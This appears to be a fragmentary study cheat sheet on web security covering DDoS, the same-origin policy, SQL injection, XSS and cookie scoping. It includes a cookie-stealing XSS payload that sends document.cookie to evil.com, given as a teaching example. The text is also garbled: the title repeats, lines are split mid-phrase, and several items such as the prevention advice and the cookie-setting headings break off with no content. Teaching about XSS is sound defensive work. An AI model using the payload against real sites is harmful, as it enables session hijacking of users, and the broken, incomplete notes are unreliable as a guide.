Computer Security Cheat Sheet
Computer Security Cheat Sheet
Computer Security Cheat Sheet
DDOS
that
makes
website
unavailable.
Same Origin = protocol + hostname + port
SQL Injection Browser sends malicious input to
server. Bad input checking leads to malicious SQL
query
XSS - Cross-site scripting.
Attacker injects a malicious script into the
webpage viewed by a victim user Script runs in
users browser with access to pages data
The same-origin policy does not prevent XSS
Stored XSS: attacker leaves Javascript lying
around on benign web service for victim to load
Reflected XSS: attacker gets user to click on
specially-crafted URL with script in it, web service
reflects it back
<script> window.open( "http://evil.com/?cookie =
" + document.cookie ) </script>
To prevent XSS: Input validation: check that
inputs are of expected form (whitelisting) Avoid
Phishing Prevention:
Setting a cookie:
Setting domain:
Setting path:
Option 1: Set the path to anything you want (in
reality, the specifications say that the path cannot
be relied on for security)
Sending a cookie:
"marketing.example.com",
"spring.sales.example.com", etc.